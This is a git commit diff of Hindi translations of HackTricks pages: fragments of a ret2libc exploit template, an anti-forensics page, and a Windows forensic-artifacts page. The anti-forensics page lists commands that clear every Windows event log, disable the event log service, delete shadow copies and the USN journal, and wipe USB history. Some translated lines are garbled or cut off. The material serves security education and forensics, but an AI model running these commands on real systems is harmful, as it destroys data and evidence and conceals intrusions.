Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/

This commit is contained in:
Translator 2024-05-02 16:10:18 +00:00
parent dd0169b203
commit 9ed15d4da5
37 changed files with 2323 additions and 1282 deletions

View file

@ -2,18 +2,22 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert) के साथ</strong></a><strong>!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहत हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% code title="template.py" %}
```python
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -200,11 +204,11 @@ P.interactive() #Interact with your shell :)
```
{% endcode %}
## सामान्य समस्याए
## सामान्य समस्याए
### MAIN_PLT = elf.symbols\['main'] नहीं मिला
### MAIN\_PLT = elf.symbols\['main'] नहीं मिला
यदि "main" प्रतीक मौजूद नहीं है (संभावना यह कि यह एक स्ट्रिप्ट बाइनरी है)। तो आप सीधे मुख्य कोड का पता लगा सकते हैं:
यदि "main" प्रतीक मौजूद नहीं है (संभावना ऐसा है क्योंकि यह एक स्ट्रिप्ट बाइनरी है)। तो आप बस यहाँ प्रमुख कोड कहाँ है वह खोज सकते हैं:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
@ -216,26 +220,31 @@ MAIN_PLT = 0x401080
```
### Puts नहीं मिला
यदि बाइनरी Puts का उपयोग नहीं कर रहा है तो आपको **जांचना चाहिए कि क्या यह इस्तेमाल कर रहा है**
यदि बाइनरी Puts का उपयोग नहीं कर रहा है तो आपको **जांचना चाहिए कि क्या यह उपयोग कर रहा है**
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
यदि आप इस **त्रुटि** को पाते हैं जब आप **सभी** एक्सप्लॉइट बनाने के बाद: `sh: 1: %s%s%s%s%s%s%s%s: not found`
तो कोशिश करें कि आप **"/bin/sh" के पते में 64 बाइट कम करें**:
तो कोशिश करें कि **"/bin/sh" के पते में 64 बाइट कम करें**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहत हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके
</details>

View file

@ -1,34 +1,38 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड** करें तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* अगर आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहत हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos।
* हमारा संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# समय-चिह्न
किसी हमलावर को **फ़ाइलों के समय-चिह्नों को बदलने** में दिलचस्पी हो सकती है।\
एमएफटी में समय-चिह्नों को खोजना संभव है जो गुणों `$STANDARD_INFORMATION` __ और __ `$FILE_NAME` में हैं।
एमएफटी में समय-चिह्न ढूंढना संभव है जो गुणों `$STANDARD_INFORMATION` __ और __ `$FILE_NAME` में हैं।
दोनों गुणों में 4 समय-चिह्न होते हैं: **संशोधन**, **पहुंच**, **निर्माण**, और **MFT रजिस्ट्री संशोधन** (MACE या MACB)।
दोनों गुणों में 4 समय-चिह्न होते हैं: **संशोधन**, **पहुंच**, **निर्माण**, और **एमएफटी रजिस्ट्री संशोधन** (MACE या MACB)।
**Windows एक्सप्लोरर** और अन्य उपकरण **`$STANDARD_INFORMATION`** से जानकारी दिखाते हैं।
## टाइमस्टॉम्प - एंटी-फोरेंसिक टूल
यह उपकरण **`$STANDARD_INFORMATION`** के भीतर समय-चिह्न जानकारी को **संशोधित** करता है **लेकिन** **`$FILE_NAME`** के भीतर जानकारी को **नहीं**। इसलिए, यह संदेहास्पद गतिविधि की पहचान करना संभव है।
यह उपकरण **`$STANDARD_INFORMATION`** के भीतर समय-चिह्न जानकारी को **संशोधित करता है** **लेकिन** **`$FILE_NAME`** के भीतर की जानकारी को **नहीं**। इसलिए, यह संदेहास्पद गतिविधि की पहचान करना संभव है।
## Usnjrnl
**USN जर्नल** (अपडेट सीक्वेंस नंबर जर्नल) NTFS (Windows NT फ़ाइल सिस्टम) क एक विशेषता है जो वॉल्यूम परिवर्तनों का पता रखता है। [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) उपकरण इन परिवर्तनों का परीक्षण करने की अनुमति देता है।
**USN Journal** (अपडेट सीक्वेंस नंबर जर्नल) NTFS (Windows NT फ़ाइल सिस्टम) क एक विशेषता है जो वॉल्यूम परिवर्तनों का पता लगाता है। [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) उपकरण इन परिवर्तनों का परीक्षण करने की अनुमति देता है।
![](<../../.gitbook/assets/image (449).png>)
@ -40,9 +44,9 @@ HackTricks का समर्थन करने के अन्य तरी
![](<../../.gitbook/assets/image (450).png>)
फिर, उपकरण के आउटपुट में देखा जा सकता है कि **कुछ परिवर्तन किए गए थे**
फिर से, उपकरण के आउटपुट में देखा जा सकता है कि **कुछ परिवर्तन किए गए थे**
एक ही उपकरण का उपयोग करके समय-चिह्नों को **किस समय संशोधित किया गया था** इसे पहचानना संभव है:
इसी उपकरण का उपयोग करके समय-चिह्नों को **किस समय संशोधित किया गया था** की पहचान करना संभव है:
![](<../../.gitbook/assets/image (451).png>)
@ -53,34 +57,34 @@ HackTricks का समर्थन करने के अन्य तरी
## `$STANDARD_INFORMATION` और `$FILE_NAME` तुलना
संदेहास्पद संशोधित फ़ाइलों की पहचान करने के लिए एक और तरीका हो सकता है जो दोनों गुणों पर समय की तुलना करता है और **असंगतियों** की तलाश करता है
संदेहास्पद संशोधित फ़ाइलों की पहचान करने के लिए एक और तरीका होगा कि दोनों गुणों पर समय की तुलना करें और **मिलान** के लिए देखें **असंगतियाँ**
## नैनोसेकंड
**NTFS** समय-चिह्नों का एक **प्रेसिजन** है **100 नैनोसेकंड**। फिर, 2010-10-10 10:10:**00.000:0000 जैसे समय-चिह्न वाली फ़ाइलें खोजना बहुत संदेहास्पद है।
## SetMace - एंटी-फोरेंसिक उपकरण
## SetMace - एंटी-फोरेंसिक टूल
यह उपकरण दोनों गुणों `$STARNDAR_INFORMATION` और `$FILE_NAME` को संशोधित कर सकता है। हालांकि, Windows Vista से, इस जानकारी को संशोधित करने के लिए एक लाइव ओएस की आवश्यकता है।
यह उपकरण दोनों गुणों `$STARNDAR_INFORMATION` और `$FILE_NAME` को संशोधित कर सकता है। हालांकि, Windows Vista से, इस जानकारी को संशोधित करने के लिए लाइव ओएस की आवश्यकता है।
# डेटा छुपाना
NFTS एक क्लस्टर और न्यूनतम जानकारी आकार का उपयोग करता है। इसका मतलब है कि यदि एक फ़ाइल एक क्लस्टर और आधा उपयोग करती है, तो **शेष आधा कभी भी उपयोग नहीं होगा** जब तक फ़ाइल हटाई नहीं जाती। फिर, इस "छपी" जगह में डेटा छुपाना संभव है।
NFTS एक क्लस्टर और न्यूनतम जानकारी आकार का उपयोग करता है। इसका मतलब है कि यदि एक फ़ाइल एक क्लस्टर और आधा उपयोग करती है, तो **शेष आधा कभी भी उपयोग नहीं होगा** जब तक फ़ाइल हटाई नहीं जाती। फिर, इस "छिपी" जगह में डेटा छुपाना संभव है।
इस तरह के "छुपे" स्थान में डेटा छुपाने की अनुमति देने वाले उपकरण जैसे slacker हैं। हालांकि, `$logfile` और `$usnjrnl` का विश्लेषण दिखा सकता है कि कुछ डेटा जोड़ा गया था:
इस तरह के "छिपी" जगह में डेटा छुपाने की अनुमति देने वाले उपकरण जैसे slacker हैं। हालांकि, `$logfile` और `$usnjrnl` का विश्लेषण दिखा सकता है कि कुछ डेटा जोड़ा गया था:
![](<../../.gitbook/assets/image (452).png>)
फिर, FTK Imager जैसे उपकरण का उपयोग करके छुपे स्थान को पुनः प्राप्त किया जा सकता है। ध्यान दें कि इस प्रकार के उपकरण सामग्री को अस्पष्ट या यहाँ तक कि एन्क्रिप्ट कर सकते हैं।
फिर, FTK Imager जैसे उपकरण का उपयोग करके छिपी जगह पुनः प्राप्त किया जा सकता है। ध्यान दें कि इस प्रकार के उपकरण सामग्री को अंधाकृत या यहाँ तक कि एन्क्रिप्टेड भी सहेज सकते हैं।
# UsbKill
यह एक उपकरण है जो कंप्यूटर को **USB** पोर्ट में किसी भी परिवर्तन को डिटेक्ट करते ही **बंद कर देगा**।\
इसे खोजने का एक तरीका यह हो सकता है कि चल रहे प्रक्रियाओं की जांच करें और **प्रत्येक पायथन स्क्रिप्ट की जांच करें**
यह एक उपकरण है जो **USB** पोर्ट में किसी भी परिवर्तन को डिटेक्ट करता है तो कंप्यूटर को **बंद कर देगा**।\
इसे खोजने का एक तरीका है कि चल रहे प्रक्रियाओं की जांच करें और **प्रत्येक पायथन स्क्रिप्ट की जांच** करें।
# लाइव लिनक्स वितरण
ये डिस्ट्रो **रैम मेमोरी के अंदर चलाई जाती हैं**। इन्हें पहचानने का एकमात्र तरीका है **यदि NTFS फाइल-सिस्टम को लेखन अनुमतियों के साथ माउंट किया गया है**। यदि यह केवल पढ़ने की अनुमतियों के साथ माउंट किया गया है तो उपद्रव का पता लगाना संभव नहीं होगा।
ये डिस्ट्रो **रैम मेमोरी के अंदर चलाए जाते हैं**। इन्हें पहचानने का एकमात्र तरीका है **यदि NTFS फाइल-सिस्टम को लेखन अनुमतियों के साथ माउंट किया गया है**। यदि यह केवल पढ़ने की अनुमतियों के साथ माउंट किया गया है तो उपद्रव का पता लगाना संभव नहीं होगा।
# सुरक्षित मिटाना
@ -92,9 +96,54 @@ NFTS एक क्लस्टर और न्यूनतम जानका
## समय-चिह्नों को अक्षम करें - UserAssist
यह एक रजिस्ट्री कुंजी है जो प्रत्येक क्रियाकलाप को चलाया गया था जब प्रत्येक क्रियाकलाप को चलाया गया था
यह एक रजिस्ट्री कुंजी है जो प्रत्येक क्रियाशील द्वारा चलाई गई प्रत्येक कार्यक्रम के दिनांक और घंटे को बनाए रखती है
UserAssist को अक्षम करने के लिए दो कदम हैं:
1. दो रजिस्ट्री कुंजियों को सेट करें, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` और `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, दोनों को शून्य में सेट करें ताकि हमें संकेत मिले कि हमें UserAssist अक्षम करना है।
2. `H
1. दो रजिस्ट्री कुंजियों को सेट करें, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` और `HKEY_CURRENT_USER\SOFTWARE
## हटाएं USB इतिहास
सभी **USB डिवाइस एंट्रीज** Windows रजिस्ट्री में **USBSTOR** रजिस्ट्री कुंजी के तहत संग्रहीत होती हैं जो उपकंजी शामिल करती हैं जो जब भी आप अपने PC या लैपटॉप में एक USB डिवाइस प्लग करते हैं। आप इस कुंजी को यहाँ पा सकते हैं `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`**इसे हटाने** से आप USB इतिहास को हटा देंगे।\
आप इसे हटाने के लिए उपकरण [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) का भी उपयोग कर सकते हैं (और इन्हें हटाने के लिए)।
एक और फ़ाइल जो USBs के बारे में जानकारी सहेजती है, वह है फ़ाइल `setupapi.dev.log` `C:\Windows\INF` के अंदर। इसे भी हटाया जाना चाहिए।
## शैडो कॉपियों को अक्षम करें
`vssadmin list shadowstorage` के साथ शैडो कॉपियों की **सूची** बनाएं\
उन्हें रन करके हटाएं `vssadmin delete shadow`
आप GUI के माध्यम से भी उन्हें हटा सकते हैं जिसके लिए [यहाँ प्रस्तावित चरणों](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) का पालन करें।
शैडो कॉपियों को अक्षम करने के लिए [यहाँ से चरण](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. "सेवाएं" कार्यक्रम खोलें जिसे विंडोज स्टार्ट बटन पर क्लिक करने के बाद "सेवाएं" लिखकर टेक्स्ट खोज बॉक्स में टाइप करके।
2. सूची से "वॉल्यूम शैडो कॉपी" ढूंढें, इसे चुनें, और फिर राइट-क्लिक करके प्रॉपर्टीज़ तक पहुँचें।
3. "स्टार्टअप प्रकार" ड्रॉप-डाउन मेनू से "डिसेबल्ड" चुनें, और फिर बदलाव की पुष्टि करने के लिए "एप्लाई" और "ओके" पर क्लिक करें।
यह भी संभव है कि रजिस्ट्री में `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` में कौन सी फ़ाइलें शैडो कॉपी में कॉपी की जाएंगी, उसकी विन्यास को संशोधित किया जा सकता है।
## हटाएं हटाए गए फ़ाइलें
* आप एक **Windows उपकरण** का उपयोग कर सकते हैं: `cipher /w:C` यह cipher को सी ड्राइव के उपलब्ध अप्रयुक्त डिस्क स्थान से किसी भी डेटा को हटाने के लिए संकेत देगा।
* आप [**Eraser**](https://eraser.heidi.ie) जैसे उपकरण भी उपयोग कर सकते हैं
## हटाएं Windows घटना लॉग
* Windows + R --> eventvwr.msc --> "Windows Logs" को विस्तारित करें --> प्रत्येक श्रेणी पर राइट क्लिक करें और "क्लियर लॉग" चुनें
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Windows घटना लॉग को अक्षम करें
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
* सेवाओं खंड के अंदर सेवा "Windows Event Log" को अक्षम करें
* `WEvtUtil.exec clear-log` या `WEvtUtil.exe cl`
## $UsnJrnl को अक्षम करें
* `fsutil usn deletejournal /d c:`
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}

View file

@ -9,44 +9,48 @@
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा **पीआर जमा करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## सामान्य Windows आर्टिफैक्ट्स
### Windows 10 सूचनाएं
### Windows 10 सूचनाए
पथ `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` में आपको डेटाबेस `appdb.dat` (Windows anniversary से पहले) या `wpndatabase.db` (Windows Anniversary के बाद) मिल सकता है।
इस SQLite डेटाबेस में, आप `Notification` तालिका पाएंगे जिसमें सभी सूचनाएं (XML प्रारूप में) हो सकती हैं जो दिलचस्प डेटा शामिल कर सकती हैं।
इस SQLite डेटाबेस में, आप `Notification` तालिका पा सकते हैं जिसमें सभी सूचनाएँ (XML प्रारूप में) हो सकती हैं जो दिलचस्प डेटा शामिल कर सकती हैं।
### टाइमलाइन
टाइमलाइन एक Windows विशेषता है जो वेब पेज, संपादित दस्तावेज़ और चलाए गए एप्लिकेशनों का **कालांिक इतिहास** प्रदान करता है।
टाइमलाइन एक Windows विशेषता है जो वेब पेजों के यातायात, संपादित दस्तावेज़ और चलाए गए एप्लिकेशनों का **कालांतरिक इतिहास** प्रदान करता है।
डेटाबेस पथ `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db` में स्थित है। इस डेटाबेस को एक SQLite उपकरण के साथ खोला जा सकता है या उपकरण [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) के साथ जो 2 फ़ाइलें उत्पन्न करता है जो उपकरण [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) के साथ खोली जा सकती हैं।
### ADS (वैकल्पिक डेटा स्ट्रीम्स)
डाउनलोड की गई फ़ाइलें **ADS Zone.Identifier** शामिल कर सकती हैं जो इसे इंट्रानेट, इंटरनेट आदि से **कैसे** डाउनलोड किया गया था का संकेत देत है। कुछ सॉफ़्टवेयर (जैसे ब्राउज़र) आम तौर पर फ़ाइल को डाउनलोड कि गए URL जैसी **अधिक जानकारी** भी डालते हैं।
डाउनलोड की गई फ़ाइलें **ADS Zone.Identifier** शामिल कर सकती हैं जो इसे इंट्रानेट, इंटरनेट से कैसे डाउनलोड किया गया था का संकेत देत है। कुछ सॉफ़्टवेयर (जैसे ब्राउज़र) आम तौर पर फ़ाइल को डाउनलोड किये गए URL जैसी **अधिक जानकारी** भी डालते हैं।
## **फ़ाइल बैकअप्स**
### रीसाइकल बिन
Vista/Win7/Win8/Win10 में **रीसाइकल बिन** ड्राइव की रूट में फ़ोल्डर **`$Recycle.bin`** में पाया जा सकता है (`C:\$Recycle.bin`)।\
जब इस फ़ोल्डर में एक फ़ाइल हटाई जाती है, तो 2 विशिष्ट फ़ाइलें बनाई जाती हैं:
जब इस फ़ोल्डर में एक फ़ाइल हटाई जाती है तो 2 विशिष्ट फ़ाइलें बनाई जाती हैं:
* `$I{id}`: फ़ाइल की जानकारी (जब यह हटाई गई थी की तारीख}
* `$I{id}`: फ़ाइल सूचना (जब यह हटाई गई थी की तारीख}
* `$R{id}`: फ़ाइल की सामग्री
![](<../../../.gitbook/assets/image (486).png>)
इन फ़ाइलों के साथ आप उपकरण [**Rifiuti**](https://github.com/abelcheung/rifiuti2) का उपयोग करके हटाई गई फ़ाइलों का मूल पता और हटाई गई तारीख प्राप्त कर सकते हैं (Vista - Win10 के लिए `rifiuti-vista.exe` का उपयोग करें)।
इन फ़ाइलों के साथ आप उपकरण [**Rifiuti**](https://github.com/abelcheung/rifiuti2) का उपयोग करके हटाई गई फ़ाइलों का मूल पता और हटाई गई तारीख प्राप्त कर सकते हैं (Vista Win10 के लिए `rifiuti-vista.exe` का उपयोग करें)।
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
@ -64,7 +68,7 @@ Vista/Win7/Win8/Win10 में **रीसाइकल बिन** ड्रा
![](<../../../.gitbook/assets/image (521).png>)
रजिस्ट्री एंट्री `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` फ़ाइलें और कुंजियों को शामिल करती है **जिन्हें बैकअप न करें**:
रजिस्ट्री एंट्री `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` फ़ाइलें और कुंजयों को शामिल करती है **जिन्हें बैकअप न करें**:
![](<../../../.gitbook/assets/image (522).png>)
@ -78,18 +82,18 @@ Vista/Win7/Win8/Win10 में **रीसाइकल बिन** ड्रा
एक शैल आइटम एक आइटम है जो दूसरी फ़ाइल तक पहुँचने के बारे में जानकारी रखता है।
### हाल क दस्तावेज़ (LNK)
### हाल क दस्तावेज़ (LNK)
विंडोज **स्वचालित रूप से** ये **शॉर्टकट** बनाता है जब उपयोगकर्ता **फ़ाइल खोलता है, उपयोग करता है या बनाता है**:
विंडोज **स्वचालित रूप से** ये **शॉर्टकट** बनाता है जब उपयोगकर्ता एक फ़ाइल **खोलता है, उपयोग करता है या बनाता है**:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
जब एक फ़ोल्डर बनाया जाता है, तो एक लिंक फ़ाइल बनाई जाती है, माता-पिता फ़ोल्डर के लिए और परदादी फ़ोल्डर के लिए भी
जब एक फ़ोल्डर बनाया जाता है, तो एक लिंक फ़ाइल फ़ोल्डर, माता-पिता फ़ोल्डर और परदादी फ़ोल्डर का भी बनाया जाता है
ये स्वचालित रूप से बनाए गए लिंक फ़ाइलें **मूल के बारे में जानकारी रखती हैं** जैसे कि यह **फ़ाइल है** **या** एक **फ़ोल्डर**, उस फ़ाइल के **MAC समय**, जहाँ फ़ाइल संग्रहित है और **लक्षित फ़ाइल का फ़ोल्डर**। यह जानकारी उन फ़ाइलों को पुनः प्राप्त करने में सहायक हो सकती है जो हटा दी गई थीं
ये स्वचालित रूप से बनाए गए लिंक फ़ाइलें **मूल के बारे में जानकारी रखती हैं** जैसे कि यह कोई **फ़ाइल है** या एक **फ़ोल्डर**, उस फ़ाइल के **MAC समय**, जहाँ फ़ाइल संग्रहित है और **लक्षित फ़ाइल का फ़ोल्डर**। यह जानकारी उन फ़ाइलों को पुनः प्राप्त करने के लिए उपयोगी हो सकती है जिन्हें हटा दिया गया था
इसके अलावा, लिंक फ़ाइल क**निर्माण तिथि** वह समय है जब मूल फ़ाइल **पहली बार उपयोग** की गई थी और लिंक फ़ाइल का **संशोधित तिथि** वह **अंतिम समय** है जब मूल फ़ाइल का उपयोग हुआ था।
इसके अलावा, लिंक फ़ाइल क**निर्मित तिथि** वह **समय** है जब मूल फ़ाइल का **पहली बार उपयोग** किया गया था और लिंक फ़ाइल का **संशोधित तिथि** वह **समय** है जब मूल फ़ाइल का **अंतिम बार उपयोग** किया गया था।
इन फ़ाइलों की जांच करने के लिए आप [**LinkParser**](http://4discovery.com/our-tools/) का उपयोग कर सकते हैं।
@ -104,7 +108,7 @@ Vista/Win7/Win8/Win10 में **रीसाइकल बिन** ड्रा
2. लिंक एक्सेस तिथि
3. लिंक निर्माण तिथि।
पहले सेट का टाइमस्टैम्प फ़ाइल इसल्फ के **टाइमस्टैम्प्स** को संदर्भित करता है। दूसरा सेट लिंक की फ़ाइल के **टाइमस्टैम्प्स** को संदर्भित करता है।
पहले सेट का टाइमस्टैम्प **फ़ाइल इसल्फ के टाइमस्टैम्प्स** को संदर्भित करता है। दूसरा सेट **लिंक की फ़ाइल के टाइमस्टैम्प्स** को संदर्भित करता है।
आप विंडोज CLI उपकरण चलाकर इसी जानकारी को प्राप्त कर सकते हैं: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
@ -112,19 +116,184 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
### जम्पलिस्ट्स
ये हाल के फ़ाइलें हैं जो प्रत्येक एप्लिकेशन के लिए दर्शाई जाती हैं। यह एक ऐसी **सूची है जिसमें एक एप्लिकेशन द्वारा उपयोग की गई हाल की फ़ाइलें** हैं जिसे आप प्रत्येक एप्लिकेशन पर पहुँच सकते हैं। ये **स्वचालित रूप से बनाई जा सकती हैं या कस्टम भी हो सकती हैं**
ये हाल के फ़ाइलें हैं जो प्रति एप्लिकेशन द्वारा दर्शाई जाती हैं। यह एक ऐसी **सूची है जिसमें एक एप्लिकेशन द्वारा उपयोग की गई हाल की फ़ाइलें** हैं जिसे आप प्रत्येक एप्लिकेशन पर एक्सेस कर सकते हैं। ये **स्वचालित रूप से बनाई जा सकती हैं या कस्टम** हो सकती हैं
